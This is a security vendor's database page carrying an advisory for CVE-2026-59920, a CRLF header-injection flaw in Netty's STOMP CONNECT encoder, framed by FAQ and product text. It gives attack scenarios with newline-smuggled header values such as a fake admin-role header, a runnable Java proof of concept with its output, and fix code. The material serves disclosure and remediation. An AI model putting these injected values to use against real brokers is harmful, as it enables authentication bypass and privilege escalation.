How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,176

Total vulnerabilities in the database

CVE-2026-59920 — io.netty / netty-codec-stomp

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-stomp) | | Component | io.netty.handler.codec.stomp.StompSubframeEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | Impact | STOMP Header Injection / Authentication Bypass | | CVSS 3.1 Score | 6.5 (Medium) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | None | | Integrity Impact | High | | Availability Impact | None |

2. Affected Components

io.netty.handler.codec.stomp.StompSubframeEncoder — encodeHeaders() method (lines 174-200)
io.netty.handler.codec.stomp.StompSubframeEncoder — shouldEscape() method (lines 214-216)

3. Vulnerability Description

The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.

Root Cause

In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:

private static boolean shouldEscape(StompCommand command) {
    return command != StompCommand.CONNECT &amp;&amp; command != StompCommand.CONNECTED;
}

When shouldEscape() returns false, header values are written without any escaping (line 195):

CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue);  // Raw \n written to output
buf.writeByte(StompConstants.LF);

For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.

STOMP Specification Context and Security Analysis

The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.

However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:

Escaping = converting \n to \\n in the wire format (spec says: don't do this for CONNECT)
Validation = rejecting header values that contain \n (spec does not prohibit this)

Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.

This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.

Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.

Summary: The vulnerability exists because:

Header values in CONNECT frames are neither escaped nor validated for newlines
A raw newline in a header value creates a new header line on the wire
The STOMP broker parses each line as a separate header
The fix should validate (reject \n) rather than escape (convert \n to \\n), maintaining spec compliance

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

The application uses Netty's codec-stomp module to encode STOMP frames
User-controlled input is placed into header values of a CONNECT or CONNECTED frame
The application does not perform its own newline sanitization
The downstream STOMP broker processes the injected headers (broker-dependent)

Typical affected use cases:

STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames

5. Attack Scenarios

Scenario 1: Authentication Bypass via Header Injection

An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:

DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, &quot;localhost&quot;);
frame.headers().set(StompHeaders.LOGIN, &quot;guest&quot;);
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, &quot;password\nadmin-role:true&quot;);

Wire format sent to broker:

CONNECT
host:localhost
login:guest
passcode:password
admin-role:true        &lt;-- INJECTED HEADER
                       &lt;-- Empty line (end of headers)
\0

The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.

Scenario 2: Subscription Hijacking

frame.headers().set(StompHeaders.PASSCODE, &quot;pass\nhost:evil-broker.com&quot;);

This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).

Scenario 3: Header Overwrite

frame.headers().set(StompHeaders.LOGIN, &quot;user\nlogin:admin&quot;);

Wire format:

CONNECT
login:user
login:admin            &lt;-- INJECTED, may override first
...

Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.

6. Proof of Concept

Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;

import java.nio.charset.StandardCharsets;

/**
 * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
 *
 * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
 * CONNECTED commands, allowing \n injection in header values to create
 * additional STOMP headers.
 */
public class StompConnectHeaderInjectionPoC {

    public static void main(String[] args) {
        System.out.println(&quot;=== Netty STOMP CONNECT Header Injection PoC ===\n&quot;);

        testConnectHeaderInjection();
        testConnectVsOtherCommand();

        System.out.println(&quot;\n=== PoC Complete ===&quot;);
    }

    /**
     * Test 1: CONNECT command header injection via \n in value
     */
    static void testConnectHeaderInjection() {
        System.out.println(&quot;[TEST 1] CONNECT Header Value Injection&quot;);
        System.out.println(&quot;-----------------------------------------&quot;);

        // Craft a CONNECT frame with \n in passcode value
        DefaultStompHeaders headers = new DefaultStompHeaders();
        headers.set(StompHeaders.HOST, &quot;localhost&quot;);
        headers.set(StompHeaders.ACCEPT_VERSION, &quot;1.2&quot;);
        headers.set(StompHeaders.LOGIN, &quot;user&quot;);
        headers.set(StompHeaders.PASSCODE, &quot;password\nadmin-role:true&quot;);

        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
        frame.headers().setAll(headers);

        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
        channel.writeOutbound(frame);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println(&quot;Input passcode: \&quot;password\\nadmin-role:true\&quot;&quot;);
        System.out.println();
        System.out.println(&quot;Encoded STOMP frame:&quot;);
        System.out.println(&quot;---&quot;);
        // Show with visible control chars
        for (String line : encoded.split(&quot;\n&quot;, -1)) {
            System.out.println(&quot;  &quot; + line.replace(&quot;\r&quot;, &quot;\\r&quot;).replace(&quot;\0&quot;, &quot;\\0&quot;));
        }
        System.out.println(&quot;---&quot;);

        // Check if the injected header appears as a separate line
        boolean hasInjectedHeader = false;
        String[] lines = encoded.split(&quot;\n&quot;);
        for (String line : lines) {
            if (line.startsWith(&quot;admin-role:&quot;)) {
                hasInjectedHeader = true;
                break;
            }
        }

        System.out.println();
        System.out.println(&quot;Injected &#039;admin-role&#039; appears as separate header: &quot; + hasInjectedHeader);
        System.out.println(&quot;VULNERABLE: &quot; + (hasInjectedHeader ?
            &quot;YES - Header injection in CONNECT frame!&quot; : &quot;NO&quot;));

        // Count actual STOMP headers (lines between command and empty line)
        int headerCount = 0;
        boolean inHeaders = false;
        for (String line : lines) {
            if (line.equals(&quot;CONNECT&quot;)) {
                inHeaders = true;
                continue;
            }
            if (inHeaders &amp;&amp; line.trim().isEmpty()) break;
            if (inHeaders &amp;&amp; line.contains(&quot;:&quot;)) headerCount++;
        }
        System.out.println(&quot;Expected headers: 4 (host, accept-version, login, passcode)&quot;);
        System.out.println(&quot;Actual headers:   &quot; + headerCount);
        System.out.println();
    }

    /**
     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)
     */
    static void testConnectVsOtherCommand() {
        System.out.println(&quot;[TEST 2] CONNECT vs SEND Escape Comparison&quot;);
        System.out.println(&quot;--------------------------------------------&quot;);

        String maliciousValue = &quot;value\ninjected:evil&quot;;

        // Test CONNECT (no escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.HOST, &quot;localhost&quot;);
            headers.set(&quot;custom&quot;, maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println(&quot;CONNECT frame with custom=\&quot;value\\ninjected:evil\&quot;:&quot;);
            System.out.println(&quot;  Encoded: &quot; + encoded.replace(&quot;\n&quot;, &quot;\\n&quot;).replace(&quot;\0&quot;, &quot;\\0&quot;));

            boolean hasRawNewline = encoded.contains(&quot;value\ninjected:evil&quot;);
            System.out.println(&quot;  Raw \\n in output: &quot; + hasRawNewline);
            System.out.println(&quot;  VULNERABLE: &quot; + (hasRawNewline ? &quot;YES&quot; : &quot;NO&quot;));
        }

        System.out.println();

        // Test SEND (with escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.DESTINATION, &quot;/queue/test&quot;);
            headers.set(&quot;custom&quot;, maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println(&quot;SEND frame with custom=\&quot;value\\ninjected:evil\&quot;:&quot;);
            System.out.println(&quot;  Encoded: &quot; + encoded.replace(&quot;\n&quot;, &quot;\\n&quot;).replace(&quot;\0&quot;, &quot;\\0&quot;));

            boolean hasEscapedNewline = encoded.contains(&quot;value\\ninjected\\cevil&quot;);
            boolean hasRawNewline = encoded.contains(&quot;value\ninjected:evil&quot;);
            System.out.println(&quot;  Escaped \\n: &quot; + hasEscapedNewline);
            System.out.println(&quot;  Raw \\n:     &quot; + hasRawNewline);
            System.out.println(&quot;  SAFE: &quot; + (hasEscapedNewline &amp;&amp; !hasRawNewline ? &quot;YES&quot; : &quot;NO&quot;));
        }
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name &quot;netty-*.jar&quot; -path &quot;*/4.2.12.Final/*&quot; \
  | grep -v sources | grep -v javadoc | tr &#039;\n&#039; &#039;:&#039;)

# Compile and run
javac -cp &quot;$JARS&quot; StompConnectHeaderInjectionPoC.java
java -cp &quot;$JARS:.&quot; StompConnectHeaderInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty STOMP CONNECT Header Injection PoC ===

[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: &quot;password\nadmin-role:true&quot;

Encoded STOMP frame:
---
  CONNECT
  host:localhost
  accept-version:1.2
  login:user
  passcode:password
  admin-role:true          &lt;-- INJECTED HEADER

  \0
---

Injected &#039;admin-role&#039; appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers:   5

[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom=&quot;value\ninjected:evil&quot;:
  Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
  Raw \n in output: true
  VULNERABLE: YES

SEND frame with custom=&quot;value\ninjected:evil&quot;:
  Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
  Escaped \n: true
  Raw \n:     false
  SAFE: YES


=== PoC Complete ===

Key Observation

The PoC demonstrates a clear inconsistency:

CONNECT command: \n is written raw → header injection succeeds
SEND command: \n is escaped to \\n → header injection prevented

7. Impact Analysis

| Impact Category | Description | |----------------|-------------| | Authentication | Injected headers may bypass broker authentication logic | | Authorization | Role escalation via injected role/permission headers | | Integrity | Modification of connection parameters (host, version, etc.) | | Broker-Specific | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |

Affected Brokers

This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:

RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
ActiveMQ: May process custom headers for internal routing
Custom Brokers: Most likely to be affected if they trust all received headers

8. Remediation Recommendations

Option 1: Validate CONNECT Header Values (Recommended)

Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:

private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
    StompCommand command = frame.command();
    ByteBufUtil.writeUtf8(buf, command.toString());
    buf.writeByte(StompConstants.LF);

    boolean shouldEscape = shouldEscape(command);
    for (Entry&lt;CharSequence, CharSequence&gt; entry : frame.headers()) {
        CharSequence headerKey = entry.getKey();
        CharSequence headerValue = entry.getValue();

        if (shouldEscape) {
            headerKey = escape(headerKey);
            headerValue = escape(headerValue);
        } else {
            // For CONNECT/CONNECTED: don&#039;t escape but REJECT newlines
            validateNoNewlines(headerKey, &quot;header name&quot;);
            validateNoNewlines(headerValue, &quot;header value&quot;);
        }

        ByteBufUtil.writeUtf8(buf, headerKey);
        buf.writeByte(StompConstants.COLON);
        ByteBufUtil.writeUtf8(buf, headerValue);
        buf.writeByte(StompConstants.LF);
    }
    buf.writeByte(StompConstants.LF);
}

private static void validateNoNewlines(CharSequence value, String type) {
    for (int i = 0; i &lt; value.length(); i++) {
        char c = value.charAt(i);
        if (c == &#039;\n&#039; || c == &#039;\r&#039;) {
            throw new IllegalArgumentException(
                &quot;STOMP CONNECT &quot; + type + &quot; contains illegal newline at index &quot; + i);
        }
    }
}

Option 2: Apply Escaping to All Commands

Simply remove the CONNECT/CONNECTED exception:

private static boolean shouldEscape(StompCommand command) {
    return true; // Always escape
}

Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.

9. References

Published: Jul 22, 2026
Updated: Jul 23, 2026
CVE: CVE-2026-59920
GHSA: GHSA-3g8r-4pfx-jmfh
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CWEs:

CWE-93

Affected Software
References

Software	From	Fixed in
io.netty / netty-codec-stomp	4.2.0.Final	4.2.16.Final
io.netty / netty-codec-stomp	-	4.1.136.Final

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.